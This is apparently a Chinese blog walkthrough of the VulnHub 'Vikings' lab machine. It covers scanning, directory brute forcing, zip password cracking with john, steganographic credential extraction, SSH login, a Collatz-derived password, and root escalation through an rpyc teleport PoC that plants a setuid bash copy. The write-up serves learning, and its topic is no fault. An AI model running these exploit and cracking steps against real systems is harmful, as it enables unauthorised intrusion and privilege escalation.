本文最后更新于 2024-07-26,文章内容可能已经过时。

Vikings靶机渗透实战笔记

免责声明

⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

实验环境:

kali(vmware) ip:192.168.91.129(NAT) ip:192.168.228.4(仅主机)

Vikings靶机(vitualBox)

kali配置了两张网卡,其中一张仅主机的网卡和靶机vitualbox相连。

靶机下载地址

https://www.vulnhub.com/entry/vikings-1,741/

主机发现

nmap扫描网段信息

nmap -sP 192.168.228.0/24

image-20240707235119895

发现目标主机192.168.228.12

信息搜集

nmap扫描目标主机详细信

nmap -p 1-65535 -sV -O -A 192.168.228.12

image-20240708000947050

发现目标主机开启了22,80端口

同时。nmap扫描到了主机22端口使用的ssh服务上的密钥信息:

RSA密钥:
密钥长度: 2048 bits
密钥指纹: 59:d4:c0:fd:62:45:97:83:15:c0:15:b2:ac:25:60:99

ECDSA密钥:
密钥长度: 256 bits
密钥指纹: 7e:37:f0:11:63:80:15:a3:d3:9d:43:c6:09:be:fb:da

ED25519密钥:
密钥长度: 256 bits
密钥指纹: 52:e9:4f:71:bc:14:dc:00:34:f2:a7:b3:58:b5:0d:ce

80端口上是一个http服务,http有一个site目录

浏览器尝试访问,发现如下

image-20240708000306425

点击site/,跳转到http://192.168.228.12/site/页面

image-20240708001942596

页面上没有什么可以利用的信息,翻译一下是介绍维京人伊瓦尔的,这哥们是维京人历史上一个很出名的王,绰号无骨者。

image-20240708002040755

既然页面没有什么可以用的,直接扫描子域名看看有什么发现

使用gobuster进行子域名爆破

gobuster dir -u http://192.168.228.12/site -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .html,.php,.bak,.passwd,.txt

#-x后面是指定扫描的文件后缀信息

image-20240708011642608

发现有一个txt文件,/war.txt,浏览器访问试试

image-20240708011838686显示信息为/war-is-over,莫非还有子域名没有被扫描到?

尝试访问/war-is-over看看。

在页面中发现一堆很长的加密字符串。

image-20240708012016315

image-20240708012214364

从第一行看好像是base64加密的信息,将保存下来到文本文件,使用base64解码重定向文件,并查看文件类型

cat 111.txt | base64 -d > test

image-20240708013120142

解码出来的是一个压缩文件类型的,点开后发现需要密码。

漏洞利用

可以使用john工具进行密码破解

先把文件移到新建的目录下,以防破解出来的文件过多

mkdir test_viking
mv 111.txt && test test_viking 

首先使用zip2jhon工具将要破解的文件编码处理一下转为哈希值

#首先将文件test转化为zip后缀的文件
mv test test.zip

#转换为hash值,存在hash文件下
zip2john test.zip > hash

image-20240708013828782

转出来的哈希值就可以交给kali下的jhon工具来进行密码破解,不过密码破解还需要字典。

cp出来一个默认字典并解压

cp /usr/share/wordlists/rockyou.txt.gz .
gunzip rockyou.txt.gz 

image-20240708014124688

使用john工具进行密码破解

john hash --wordlist=rockyou.txt  

image-20240708014240899

破解出来密码为ragnarok123

输入密码解压出来的是一个名字为king的图片文件

image-20240708014653501

image-20240708014820769

使用file king命令查看图片详细信息

image-20240708015017247

图片没有说明可以用的信息,怀疑使用了隐写术,使用binwalk查看图片是否有隐藏的信息

binwalk king

image-20240708015139049

分析得知文件里面包含有图片,tiff,zip等。除此之外在文件里面还有一些压缩文件,被压缩起来的大小是53.解压出来大小是92.被压缩的文件名字是user。

使用-e命令可以查看并提取有用的信息

binwalk king -e # 可以提取出来隐藏文件

image-20240708015759680

运行报错,根据提示使用--run-as=root参数运行

binwalk -e king --run-as=root

image-20240708015846982

成功提取出来隐藏的文件。发现是一个文件夹cd进去看看

image-20240708020022963

file查看文件属性后发现是一个文本文件,cat进行查看后发现有一串可疑的字符串

//FamousBoatbuilder_floki@vikings                                   
//f@m0usboatbuilde7 

根据格式盲猜可能是ssh登陆的账号和密码,因为在登陆ssh服务的时候都会用@,前面加用户名后面加主机名或者ip地址

ssh尝试登录

ssh FamousBoatbuilder_floki@192.168.228.12

image-20240708020350297

需要密码,用之前user文件中的 f@m0usboatbuilde7 这串尝试一下,发现登录失败

猜测可能是用户名出错,尝试使用floki这个用户名进行ssh登录:

ssh floki@192.168.228.12

发现需要密码,同样输入 f@m0usboatbuilde7尝试,发现成功登录进来。

image-20240708020855862

ssh登录的用户名:floki
密码:f@m0usboatbuilde7

image-20240708021012146

提权

搜集基本信息,在本地目录下找到readme.txt文件。cat查看后是一串文本信息

翻译一下

 _______________________________________________________________________Floki-Creation____________________________________________________________________________________________________
 我是著名的造船商Floki。我们竭尽全力袭击了巴黎,但我们失败了。我们不知道拉格纳在战后在哪里。他现在非常悲痛。我想向他道歉。 因为是我领导着所有的维京人。我需要找到他。他可以在任何地方。 我需要创造这艘“船”来找到拉格纳

有点意思。

查找系统的密码目录

cat /etc/passwd

image-20240708021332114

image-20240708021407724

在最下方除了现在登录的floki用户外,还发现了ragnar(拉格纳)这个用户,之前web上有他的名字出现。说明是比较重要的角色。

image-20240708021615042

结合之前翻译readme.txt文件中的信息,可以猜出要找到Ragnar(拉格纳)必须使用boat(船),接下来需要创造这艘“船”来找到拉格纳。

image-20240708022005419

刚好本地目录下有个叫boat(船)的文件,发现是个文本文件,直接使用cat查看

image-20240708022126075

发现给了一段伪代码

#num = 29th prime-number

给num赋值 赋值成第29prime-number(素数),不能被2整除的就是素数。先定义一个变量让他的值等于第29个素数的数值在对他进行一个collatz-conjecture也就是考拉兹猜想

考拉兹猜想
给你一个数一个正整数,只要他是奇数,就对他进行乘3加1,如果还是奇数就继续乘3加1.如果计算出来的结果是偶数,就除以2.一直循环。最终都是1.

例如n = 6,根据上述数式,得出 6→3→10→5→16→8→4→2→1。
boat 中的意思是求第 29 个素数的 collatz-conjecture 结果,网上差的结果是 29th Prime Number = 109 。所以写个小脚本
def collatz(x):
        result = [109]
        while x != 1:
                if x % 2 == 1:
                        x = (3 * x) + 1
                else:
                        x = (x / 2)
                if x <= 255:
                        result.append(int(x))
        return result

print(collatz(109))

image-20240708022721597

运行代码得到

[109, 164, 82, 41, 124, 62, 31, 94, 47, 142, 71, 214, 107, 161, 242, 121, 182, 91, 137, 206, 103, 155, 233, 175, 167, 251, 244, 122, 61, 184, 92, 46, 23, 70, 35, 106, 53, 160, 80, 40, 20, 10, 5, 16, 8, 4, 2, 1]

放到cyberchef在线网站中进行ascll编码还原。

左上角搜索后双击添加:From Decimal,string,find replace

https://gchq.github.io/CyberChef/

image-20240708024119219

注意中间的参数要配置好

最终得到密码:

mR)|>^/Gky[gz=.F#j5P(

使用这个密码直接切换到ragnar用户下

su ragnar
#输入密码mR)|>^/Gky[gz=.F#j5P(

image-20240708024649785

使用python提升为完全交互式shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20240708024803469

image-20240708032103504在尝试发现登陆到用户后发现自动执行了某个命令

linux登陆自动执行命令,可以通过

对于当前用户生效的

编辑当前主目录下的.bashrc文件添加一个指令 //下次登陆就可以自动执行。

编辑当前主目录下的.profile文件

.bash_profile文件

对于全局用户生效的

/etc/profile //全局的配置文件

查看当前用户目录下运行了rpyc

cat .profile 

image-20240708025336691

运行netstat -tnlp监听一下 tcp 连接:

image-20240708025516193

利用rpyc 提权

提权思路

可以直接使用rpyc_classic.py直接使用,或者挂上一些-m参数。也可以使用ssl身份认证来运行服务端的程序。似乎就是启用ssl对流量来进行加密需要指定证书等内容,才能正常启用这个程序,看起来是一个服务端的接口程序。

apc就是一个远程的文件调用,他的作用就是在服务端可以在服务端运行一个服务端的的程序接口,可以通过客户端的一些代码指令去连上服务端的接口,然后去运行执行服务端的函数,指令。

通过xml的apc服务端的接口是可以来进行提权。

在python环境下也是可以进行apyc提权效果,在python环境中有一个库apyc,就是用过python语言来进行apc进程调用的功能。

当前文件的所有者是root账号,既然他是一个服务端的api,他开放某个端口去连他,那这样的话完全可以使用通过客户端编辑一些程序代码,函数,然后将这些提交到服务端的侦听端口上面,让服务器来执行,执行玩的结果由于他是root账号的属主,所以执行的结果就会实现以root账户执行注入的指令,这就是提权的思路。

官方文档链接:https://rpyc.readthedocs.io/en/latest/tutorial/tut1.html

使用python编写poc如下

vim poc.py
#写入如下python脚本M保存退出
import rpyc
conn = rpyc.classic.connect('localhost')
def getshell():
        import os
        os.system('cp /bin/bash /tmp/bashroot && chmod +s /tmp/bashroot')

fn = conn.teleport(getshell)
fn()
python3 poc.py 

image-20240708030251584

./bashroot -p 
#在tmp目录下执行

image-20240708030346280

Getshell

image-20240708030430794

image-20240708030732998

查看user.txt得到用户flag,cd到root目录查看root.txt得到root用户的flag

4bf930187d0149a9e4374a4e823f867d
f0b98d4387ff6da77317e582da98bf31

总结

  • 使用john进行压缩包暴力破解密码,一般的字典目录在/usr/share/wordlists/这个文件夹下

  • 要学会查看web文件下的可用信息,结合所有有用的信息进行联想

  • 在得到图片文件的时候,如果得不到什么有用的信息,要考虑到是否使用到“隐写术”

    可以使用binwalk -e king 查看图片是否有隐藏文件 binwalk name.jpeg -d 导出隐藏文件

  • 学会利用file查看文件类型

  • 使用考拉兹猜想编写python脚本得出一串srting
    考拉兹猜想就是给你一个数一个正整数,只要他是奇数,就对他进行乘3加1,如果还是奇数就继续乘3加1.如果计算出来的结果是偶数,就除以2.一直循环。最终都是1.

  • 使用10进制转string得出密码在线转码解码网址:https://gchq.github.io/

  • 利用rpyc提权